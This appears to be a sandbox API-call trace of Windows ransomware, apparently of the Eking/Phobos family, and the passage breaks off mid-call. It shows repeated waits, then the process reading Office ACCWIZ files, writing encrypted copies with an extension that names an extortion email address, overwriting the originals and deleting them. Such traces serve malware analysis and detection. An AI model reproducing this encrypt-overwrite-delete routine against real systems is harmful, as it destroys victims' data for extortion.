WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.092] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.092] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.092] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.092] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.092] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.093] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.093] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.093] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.093] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.093] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.093] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.093] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.093] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.093] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.094] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.094] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.094] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.094] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.094] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.094] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.095] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.095] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.095] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.095] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.095] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.095] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.095] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.095] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.095] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.096] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.096] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.096] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.096] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.096] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.096] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.096] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.096] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.096] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.096] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.097] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.097] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.097] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.097] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.097] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.097] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.097] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.097] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.097] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.097] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.097] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.097] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.098] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.098] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.098] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.098] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.098] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.098] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.098] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.098] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.098] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.098] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.098] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.099] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.099] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.099] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.099] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.099] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.099] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.099] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.099] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.099] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.099] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.100] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.100] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.100] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.100] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.100] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.100] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.100] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.100] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.100] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.100] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.100] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.101] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.101] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.101] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.101] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.101] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.101] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.101] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.101] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.101] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.101] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.102] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.102] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.102] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.102] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.102] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.102] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.102] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.102] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.102] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.542] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.543] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.543] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.543] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.543] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.543] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.543] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.543] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.543] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.543] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.544] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.544] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.544] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.544] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.544] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.544] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.544] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.544] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.544] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.545] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.545] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.545] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.545] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.545] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.545] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.545] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.545] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.545] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.545] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.546] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.546] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.546] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0195.546] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0xffffffff) returned 0x0 [0200.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzlib.accde"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0200.254] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x324f968 | out: lpFileSize=0x324f968*=2113536) returned 1 [0200.254] CloseHandle (hObject=0x178) returned 1 [0200.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzlib.accde")) returned 0x20 [0200.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzlib.accde")) returned 0x20 [0200.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzlib.accde.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0200.254] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzlib.accde"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0200.254] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f930 | out: lpNewFilePointer=0x0) returned 1 [0200.254] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f930 | out: lpNewFilePointer=0x0) returned 1 [0200.254] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzlib.accde.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b8 [0200.255] ReadFile (in: hFile=0x178, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0200.317] WriteFile (in: hFile=0x1b8, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0200.532] ReadFile (in: hFile=0x178, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0xf3f00, lpOverlapped=0x0) returned 1 [0200.560] WriteFile (in: hFile=0x1b8, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0xf3f10, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0xf3f10, lpOverlapped=0x0) returned 1 [0200.675] WriteFile (in: hFile=0x1b8, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0xf2, lpOverlapped=0x0) returned 1 [0200.676] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f690 | out: lpNewFilePointer=0x0) returned 1 [0200.676] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f690 | out: lpNewFilePointer=0x0) returned 1 [0200.676] WriteFile (in: hFile=0x178, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0200.782] WriteFile (in: hFile=0x178, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0xf3efe, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0xf3efe, lpOverlapped=0x0) returned 1 [0200.801] FlushFileBuffers (hFile=0x178) returned 1 [0201.468] FlushFileBuffers (hFile=0x1b8) returned 1 [0201.517] CloseHandle (hObject=0x178) returned 1 [0202.110] CloseHandle (hObject=0x1b8) returned 1 [0202.531] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZLIB.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzlib.accde")) returned 1 [0202.533] ResetEvent (hEvent=0x150) returned 1 [0202.533] SetEvent (hEvent=0x154) returned 1 [0202.533] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwztool.accde"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0202.534] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x324f968 | out: lpFileSize=0x324f968*=11767808) returned 1 [0202.534] CloseHandle (hObject=0x1b8) returned 1 [0202.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwztool.accde")) returned 0x20 [0202.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwztool.accde")) returned 0x20 [0202.534] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwztool.accde.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0202.534] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwztool.accde"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0202.534] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f930 | out: lpNewFilePointer=0x0) returned 1 [0202.534] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f930 | out: lpNewFilePointer=0x0) returned 1 [0202.534] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZTOOL.ACCDE.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwztool.accde.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1c4 [0202.535] ReadFile (in: hFile=0x1b8, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0202.764] WriteFile (in: hFile=0x1c4, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0202.863] ReadFile (in: hFile=0x1b8, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0203.079] WriteFile (in: hFile=0x1c4, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0203.296] ReadFile (in: hFile=0x1b8, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0203.345] WriteFile (in: hFile=0x1c4, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0203.555] ReadFile (in: hFile=0x1b8, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0203.594] WriteFile (in: hFile=0x1c4, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0203.797] ReadFile (in: hFile=0x1b8, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0203.817] WriteFile (in: hFile=0x1c4, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0203.992] ReadFile (in: hFile=0x1b8, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0204.049] WriteFile (in: hFile=0x1c4, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0204.138] ReadFile (in: hFile=0x1b8, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0204.202] WriteFile (in: hFile=0x1c4, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0204.278] ReadFile (in: hFile=0x1b8, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0204.317] WriteFile (in: hFile=0x1c4, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0204.426] ReadFile (in: hFile=0x1b8, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0204.582] WriteFile (in: hFile=0x1c4, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0204.614] ReadFile (in: hFile=0x1b8, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x110100, lpOverlapped=0x0) returned 1 [0204.723] WriteFile (in: hFile=0x1c4, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110100, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x110100, lpOverlapped=0x0) returned 1 [0204.832] ReadFile (in: hFile=0x1b8, lpBuffer=0x35b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x324f93c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesRead=0x324f93c*=0x98600, lpOverlapped=0x0) returned 1 [0204.852] WriteFile (in: hFile=0x1c4, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x98610, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0x98610, lpOverlapped=0x0) returned 1 [0204.990] WriteFile (in: hFile=0x1c4, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x324f920, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f920*=0xf2, lpOverlapped=0x0) returned 1 [0204.990] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f690 | out: lpNewFilePointer=0x0) returned 1 [0204.990] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324f690 | out: lpNewFilePointer=0x0) returned 1 [0204.991] WriteFile (in: hFile=0x1b8, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0205.019] WriteFile (in: hFile=0x1b8, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0205.037] WriteFile (in: hFile=0x1b8, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, lpOverlapped=0x0 | out: lpBuffer=0x35b0020*, lpNumberOfBytesWritten=0x324f69c*=0x110102, lpOverlapped=0x0) returned 1 [0205.138] WriteFile (in: hFile=0x1b8, lpBuffer=0x35b0020*, nNumberOfBytesToWrite=0x110102, lpNumberOfBytesWritten=0x324f69c, 